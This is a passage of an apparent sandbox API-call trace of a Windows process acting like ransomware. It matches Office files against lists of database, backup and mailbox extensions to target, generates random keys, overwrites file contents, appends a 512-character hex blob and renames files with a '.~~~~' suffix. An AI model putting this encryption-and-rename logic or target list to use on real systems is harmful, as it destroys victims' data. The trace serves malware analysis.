	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".db") returned 0x0
	[0080.756] lstrlenW (lpString=".TXT") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.756] lstrlenW (lpString=".MDF") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.756] lstrlenW (lpString=".bdb") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.756] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.757] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.757] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.757] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.758] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20074770557) returned 1
	[0080.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99fd4b50, dwHighDateTime=0x1d60e1e)) 
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bd98
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd98 | out: hHeap=0x300000) returned 1
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.758] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.758] GetLastError () returned 0x0
	[0080.758] GetLastError () returned 0x0
	[0080.759] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.759] GetLastError () returned 0x0
	[0080.759] GetLastError () returned 0x0
	[0080.759] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x15b5, lpOverlapped=0x0) returned 1
	[0080.761] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffea4b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.761] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x15b5, lpOverlapped=0x0) returned 1
	[0080.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.761] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.761] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.761] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.761] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.761] CloseHandle (hObject=0x120) returned 1
	[0080.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0080.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.~~~~")) returned 1
	[0080.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3ee8 | out: hHeap=0x300000) returned 1
	[0080.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.762] GetLastError () returned 0x0
	[0080.762] RtlWakeConditionVariable () returned 0x365f70
	[0080.762] GetCurrentThreadId () returned 0x9f4
	[0080.762] GetCurrentThreadId () returned 0x9f4
	[0080.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0080.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d420 | out: hHeap=0x300000) returned 1
	[0080.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bdd0 | out: hHeap=0x300000) returned 1
	[0080.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d410
	[0080.763] lstrlenW (lpString=".scr") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".scr") returned 0x0
	[0080.763] lstrlenW (lpString=".cmd") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".cmd") returned 0x0
	[0080.763] lstrlenW (lpString=".dll") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dll") returned 0x0
	[0080.763] lstrlenW (lpString=".bat") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".bat") returned 0x0
	[0080.763] lstrlenW (lpString=".cpl") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".cpl") returned 0x0
	[0080.763] lstrlenW (lpString=".sys") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".sys") returned 0x0
	[0080.763] lstrlenW (lpString=".msc") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".msc") returned 0x0
	[0080.763] lstrlenW (lpString=".com") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".com") returned 0x0
	[0080.763] lstrlenW (lpString=".lnk") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".lnk") returned 0x0
	[0080.763] lstrlenW (lpString=".msp") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".msp") returned 0x0
	[0080.763] lstrlenW (lpString=".pif") returned 4
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".pif") returned 0x0
	[0080.763] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.764] lstrlenW (lpString=".sqb") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".sqb") returned 0x0
	[0080.764] lstrlenW (lpString=".ost") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".ost") returned 0x0
	[0080.764] lstrlenW (lpString=".txt") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".txt") returned 0x0
	[0080.764] lstrlenW (lpString=".mdt") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".mdt") returned 0x0
	[0080.764] lstrlenW (lpString=".BDB") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".BDB") returned 0x0
	[0080.764] lstrlenW (lpString=".eql") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".eql") returned 0x0
	[0080.764] lstrlenW (lpString=".DBF") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DBF") returned 0x0
	[0080.764] lstrlenW (lpString=".EQL") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".EQL") returned 0x0
	[0080.764] lstrlenW (lpString=".FDB") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".FDB") returned 0x0
	[0080.764] lstrlenW (lpString=".EDB") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".EDB") returned 0x0
	[0080.764] lstrlenW (lpString=".DACPAC") returned 7
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DACPAC") returned 0x0
	[0080.764] lstrlenW (lpString=".VHD") returned 4
	[0080.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".VHD") returned 0x0
	[0080.765] lstrlenW (lpString=".DBV") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DBV") returned 0x0
	[0080.765] lstrlenW (lpString=".dacpac") returned 7
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dacpac") returned 0x0
	[0080.765] lstrlenW (lpString=".sdf") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".sdf") returned 0x0
	[0080.765] lstrlenW (lpString=".accdb") returned 6
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".accdb") returned 0x0
	[0080.765] lstrlenW (lpString=".DBX") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DBX") returned 0x0
	[0080.765] lstrlenW (lpString=".MDT") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".MDT") returned 0x0
	[0080.765] lstrlenW (lpString=".SQB") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".SQB") returned 0x0
	[0080.765] lstrlenW (lpString=".vhd") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".vhd") returned 0x0
	[0080.765] lstrlenW (lpString=".bac") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".bac") returned 0x0
	[0080.765] lstrlenW (lpString=".mdf") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".mdf") returned 0x0
	[0080.765] lstrlenW (lpString=".BAK") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".BAK") returned 0x0
	[0080.765] lstrlenW (lpString=".BAC") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".BAC") returned 0x0
	[0080.765] lstrlenW (lpString=".dbs") returned 4
	[0080.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dbs") returned 0x0
	[0080.765] lstrlenW (lpString=".vhdx") returned 5
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".vhdx") returned 0x0
	[0080.766] lstrlenW (lpString=".NDF") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".NDF") returned 0x0
	[0080.766] lstrlenW (lpString=".dat") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dat") returned 0x0
	[0080.766] lstrlenW (lpString=".DBS") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DBS") returned 0x0
	[0080.766] lstrlenW (lpString=".CKP") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".CKP") returned 0x0
	[0080.766] lstrlenW (lpString=".edb") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".edb") returned 0x0
	[0080.766] lstrlenW (lpString=".PST") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".PST") returned 0x0
	[0080.766] lstrlenW (lpString=".dbf") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dbf") returned 0x0
	[0080.766] lstrlenW (lpString=".SQL") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".SQL") returned 0x0
	[0080.766] lstrlenW (lpString=".pst") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".pst") returned 0x0
	[0080.766] lstrlenW (lpString=".dbv") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dbv") returned 0x0
	[0080.766] lstrlenW (lpString=".SDF") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".SDF") returned 0x0
	[0080.766] lstrlenW (lpString=".dtxs") returned 5
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dtxs") returned 0x0
	[0080.766] lstrlenW (lpString=".db3") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".db3") returned 0x0
	[0080.766] lstrlenW (lpString=".OST") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".OST") returned 0x0
	[0080.766] lstrlenW (lpString=".dbx") returned 4
	[0080.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dbx") returned 0x0
	[0080.767] lstrlenW (lpString=".DB3") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DB3") returned 0x0
	[0080.767] lstrlenW (lpString=".DAT") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DAT") returned 0x0
	[0080.767] lstrlenW (lpString=".VHDX") returned 5
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".VHDX") returned 0x0
	[0080.767] lstrlenW (lpString=".ndf") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".ndf") returned 0x0
	[0080.767] lstrlenW (lpString=".DB") returned 3
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DB") returned 0x0
	[0080.767] lstrlenW (lpString=".sql") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".sql") returned 0x0
	[0080.767] lstrlenW (lpString=".MYD") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".MYD") returned 0x0
	[0080.767] lstrlenW (lpString=".DBT") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DBT") returned 0x0
	[0080.767] lstrlenW (lpString=".ACCDB") returned 6
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".ACCDB") returned 0x0
	[0080.767] lstrlenW (lpString=".fdb") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".fdb") returned 0x0
	[0080.767] lstrlenW (lpString=".bak") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".bak") returned 0x0
	[0080.767] lstrlenW (lpString=".myd") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".myd") returned 0x0
	[0080.767] lstrlenW (lpString=".DTXS") returned 5
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".DTXS") returned 0x0
	[0080.767] lstrlenW (lpString=".ckp") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".ckp") returned 0x0
	[0080.767] lstrlenW (lpString=".dbt") returned 4
	[0080.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".dbt") returned 0x0
	[0080.767] lstrlenW (lpString=".db") returned 3
	[0080.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".db") returned 0x0
	[0080.768] lstrlenW (lpString=".TXT") returned 4
	[0080.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".TXT") returned 0x0
	[0080.768] lstrlenW (lpString=".MDF") returned 4
	[0080.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".MDF") returned 0x0
	[0080.768] lstrlenW (lpString=".bdb") returned 4
	[0080.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".bdb") returned 0x0
	[0080.768] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.768] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
